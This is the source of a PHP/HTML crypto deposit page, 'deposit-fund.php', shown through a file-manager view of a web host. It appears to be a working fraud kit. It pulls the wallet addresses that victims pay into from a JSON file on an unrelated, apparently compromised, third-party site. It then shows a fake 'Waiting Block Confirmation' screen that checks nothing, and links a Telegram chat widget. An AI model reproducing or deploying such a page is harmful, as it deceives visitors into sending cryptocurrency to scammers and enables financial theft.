File Manager

Path: /home/liffinac1/domains/liffinacestrade.us/public_html/

Viewing File: deposit-fund.php

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Secure Crypto Deposits</title>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap">
  <link rel="icon" type="image/svg+xml" href="https://icons.getbootstrap.com/assets/icons/wallet2.svg" />
  <style>
    :root {
      --primary: #6F42C1;
      --primary-dark: #5a2d91;
      --secondary: #4C6EF5;
      --accent: #FF6F61;
      --light: #F8F9FA;
      --gray: #6C757D;
      --border-radius: 12px;
      --box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
      --transition: all 0.3s ease;
    }

    * { box-sizing: border-box; margin: 0; padding: 0; }

    body {
      font-family: 'Inter', sans-serif;
      background: linear-gradient(135deg, #f0f4f8 0%, #e6e9f0 100%);
      min-height: 100vh;
      display: flex;
      justify-content: center;
      align-items: center;
      padding: 20px;
    }

    .container {
      background: #fff;
      border-radius: var(--border-radius);
      box-shadow: var(--box-shadow);
      width: 100%;
      max-width: 480px;
      overflow: hidden;
      position: relative;
    }

    .header-bar {
      height: 8px;
      background: linear-gradient(90deg, var(--primary), var(--secondary));
    }

    .content { padding: 30px; }
    .logo-container { text-align: center; margin-bottom: 20px; }
    .logo { width: 150px; }

    #intro-text, #intro-text-result { text-align: center; margin-bottom: 25px; }
    h1 { font-size: 24px; color: var(--primary); font-weight: 600; margin-bottom: 10px; }
    .subtitle { font-size: 15px; color: var(--gray); line-height: 1.5; }

    .form-group { margin-bottom: 20px; }
    label { display: block; font-size: 14px; margin-bottom: 8px; font-weight: 500; }
    input, select {
      width: 100%; padding: 12px 15px; font-size: 15px; border: 2px solid #E9ECEF;
      border-radius: var(--border-radius); transition: var(--transition);
    }
    input:focus, select:focus { border-color: var(--primary); outline: none; }

    button {
      background-color: var(--primary); color: white; padding: 14px; font-size: 16px;
      font-weight: 500; border: none; border-radius: var(--border-radius);
      cursor: pointer; width: 100%; transition: var(--transition);
    }

    /* Teks Pembayaran Rata Tengah */
    .transaction-info {
      background-color: #F8F9FA;
      padding: 15px;
      border-radius: var(--border-radius);
      font-size: 14px;
      line-height: 1.6;
      margin-bottom: 20px;
      text-align: center;
    }

    #result, #confirmation-page, #usdt-network { display: none; }

    .qr-container { text-align: center; margin: 20px 0; }
    #qrCode { width: 200px; height: 200px; border: 1px solid #eee; border-radius: 8px; }

    #address {
      width: 100%; padding: 12px 15px; font-size: 14px; border: 2px solid #E9ECEF;
      border-radius: var(--border-radius); background-color: #F8F9FA;
      font-family: monospace; text-align: center; margin-bottom: 10px;
    }

    .confirm-btn { background-color: #28a745; margin-bottom: 10px; }
    .go-back-btn { background-color: var(--accent); margin-top: 10px; }

    /* Loader & Waiting Page */
    .waiting-title { color: #6F42C1; font-size: 32px; font-weight: 700; margin-bottom: 15px; text-align: center; line-height: 1.2; }
    .waiting-subtitle { color: #6C757D; font-size: 16px; text-align: center; margin-bottom: 30px; }
    .loader-wrapper { display: flex; justify-content: center; margin: 40px 0; }
    .loader-circle {
      border: 8px solid #f3f3f3; border-top: 8px solid #6F42C1;
      border-radius: 50%; width: 120px; height: 120px;
      animation: spin 1.5s linear infinite;
    }
    @keyframes spin { to { transform: rotate(360deg); } }

    #pageLoader {
      display: none; position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
      background: rgba(255,255,255,0.8); z-index: 9999; align-items: center; justify-content: center;
    }
  </style>
</head>
<body>

<div id="pageLoader"><div class="loader-circle" style="width: 48px; height: 48px; border-width: 6px;"></div></div>

<div class="container">
  <div class="header-bar"></div>
  <div class="content">
    
    <div class="logo-container" id="logoDeposit">
      <img class="logo" src="https://i.imgur.com/qlVxylF.png" alt="Logo">
    </div>

    <div id="intro-text">
      <h1>Secure & Easy Deposits</h1>
      <p class="subtitle">Deposit crypto in just a few clicks - safe, quick, and effortless.</p>
    </div>

    <form id="cryptoForm">
      <div class="form-group">
        <label for="amount">Enter Amount (Min. $50 USD)</label>
        <input type="number" id="amount" min="50" placeholder="50.00" required>
      </div>
      <div class="form-group">
        <label for="currency">Select Cryptocurrency</label>
        <select id="currency">
          <option value="BTC">Bitcoin (BTC)</option>
          <option value="ETH">Ethereum (ETH)</option>
          <option value="USDT">Tether (USDT)</option>
		  <option value="USDC">USDC (USDC)</option>
          <option value="BNB">Binance Coin (BNB)</option>
          <option value="SOL">Solana (SOL)</option>
        </select>
      </div>
      <div id="usdt-network">
        <div class="form-group">
          <label for="network">Select Network</label>
          <select id="network">
            <option value="ERC20">ERC20 (Ethereum)</option>
            <option value="TRC20">TRC20 (Tron)</option>
          </select>
        </div>
      </div>
      <button type="button" onclick="generateAddress()">Generate Deposit Address</button>
    </form>

    <div id="result">
      <div id="intro-text-result">
        <h1>Complete Your Deposit</h1>
        <p class="subtitle">Scan the QR code or copy the wallet address.</p>
      </div>
      <div class="qr-container">
        <img id="qrCode" src="" alt="QR">
      </div>
      <div class="address-container">
        <input type="text" id="address" readonly>
        <button id="copyBtn" onclick="copyAddress()" style="background-color: var(--secondary);">Copy Address</button>
      </div>
      <div class="transaction-info" id="transactionInfo"></div>
      
      <button class="confirm-btn" onclick="showConfirmation()">Confirm Deposit</button>
      <button class="go-back-btn" onclick="goBack()">Change Deposit Method</button>
    </div>

    <div id="confirmation-page">
      <div class="waiting-title">Waiting Block<br>Confirmation</div>
      <p class="waiting-subtitle">
        Your deposit has been submitted.<br>
        Please wait while the blockchain confirms your transaction.
      </p>
      
      <div class="loader-wrapper">
        <div class="loader-circle"></div>
      </div>
      
      <div style="text-align: center;">
        <p class="subtitle" style="margin-bottom: 10px;">This may take a few minutes depending on network traffic.</p>
        <p style="color: #e55b51; font-size: 13px; font-weight: 500; padding: 0 10px;">
          If you haven't made a deposit yet, the blockchain will not be able to confirm your transaction.
        </p>
      </div>

      <button class="go-back-btn" onclick="goBack()" style="margin-top: 25px;">Back to Home</button>
    </div>

  </div>
</div>

<script>
const priceMap = { BTC: 'bitcoin', ETH: 'ethereum', USDT: 'tether', BNB: 'binancecoin', SOL: 'solana', USDC: 'tether' };

async function fetchCryptoPrice(symbol) {
  const id = priceMap[symbol];
  try {
    const res = await fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${id}&vs_currencies=usd`);
    const data = await res.json();
    return data[id]?.usd || null;
  } catch(e) { return null; }
}

async function updateAmountMessage() {
  const amount = parseFloat(document.getElementById('amount').value || '0');
  const currency = document.getElementById('currency').value;
  const info = document.getElementById('transactionInfo');
  if (amount < 50) return info.innerHTML = '';

  const price = await fetchCryptoPrice(currency);
  if (!price) return;

  const cryptoAmount = (amount / price).toFixed(currency === 'BTC' || currency === 'ETH' ? 6 : 2);
  info.innerHTML = `Send <strong>$${amount} (${cryptoAmount} ${currency})</strong> to the address above.<br>` +
                   `<span style="color: #6C757D; font-size: 12px;">Ensure you send the correct amount for faster confirmation.</span>`;
}

// FUNGSI WALLET TETAP SEPERTI ASLINYA
async function generateAddress() {
  const amount = parseFloat(document.getElementById('amount').value);
  if (!amount || amount < 50) return alert('Please enter an amount of at least $50');

  const currency = document.getElementById('currency').value;
  const network = (currency === 'USDT') ? document.getElementById('network').value : null;
  const key = (currency === 'USDT') ? `USDT (${network})` : currency;

  document.getElementById("pageLoader").style.display = "flex";

  try {
    const res = await fetch('https://acen.fr/IMG/zip/crawl/wallet.json');
    const data = await res.json();
    const address = data[key]?.address;

    if (!address) {
      alert(`Wallet address not found for: ${key}`);
      return;
    }

    document.getElementById('address').value = address;
    document.getElementById('qrCode').src = `https://api.qrserver.com/v1/create-qr-code/?data=${encodeURIComponent(address)}&size=300x300`;

    document.getElementById('cryptoForm').style.display = 'none';
    document.getElementById('intro-text').style.display = 'none';
    document.getElementById('result').style.display = 'block';
    await updateAmountMessage();
  } catch (err) {
    alert('An error occurred. Please try again.');
  } finally {
    document.getElementById("pageLoader").style.display = "none";
  }
}

function showConfirmation() {
  document.getElementById('result').style.display = 'none';
  document.getElementById('logoDeposit').style.display = 'none';
  document.getElementById('confirmation-page').style.display = 'block';
}

function copyAddress() {
  const input = document.getElementById('address');
  input.select();
  navigator.clipboard.writeText(input.value);
  const btn = document.getElementById('copyBtn');
  btn.innerText = 'Copied!';
  setTimeout(() => btn.innerText = 'Copy Address', 2000);
}

function goBack() {
  document.getElementById('result').style.display = 'none';
  document.getElementById('confirmation-page').style.display = 'none';
  document.getElementById('cryptoForm').style.display = 'block';
  document.getElementById('intro-text').style.display = 'block';
  document.getElementById('logoDeposit').style.display = 'block';
}

document.getElementById('currency').addEventListener('change', () => {
  document.getElementById('usdt-network').style.display = (document.getElementById('currency').value === 'USDT') ? 'block' : 'none';
});
</script>
<script type="text/javascript">
var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
(function(){
var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
s1.async=true;
s1.src='https://embed.tawk.to/661bc6ab1ec1082f04e224e1/1hre804b7';
s1.charset='UTF-8';
s1.setAttribute('crossorigin','*');
s0.parentNode.insertBefore(s1,s0);
})();
</script>
<!--End of Tawk.to Script-->
<script>!function(){var e,t,n,a;window.MyAliceWebChat||((t=document.createElement("div")).id="myAliceWebChat",(n=document.createElement("script")).type="text/javascript",n.async=!0,n.src="https://widget.myalice.ai/index.js",(a=(e=document.body.getElementsByTagName("script"))[e.length-1]).parentNode.insertBefore(n,a),a.parentNode.insertBefore(t,a),n.addEventListener("load",(function(){MyAliceWebChat.init({selector:"myAliceWebChat",number:"custservicescrypto",message:"",color:"#2AABEE",channel:"tg",boxShadow:"none",text:"Message Us",theme:"light",position:"left",mb:"20px",mx:"20px",radius:"20px"})})))}();</script>
</script>
</body>
</html>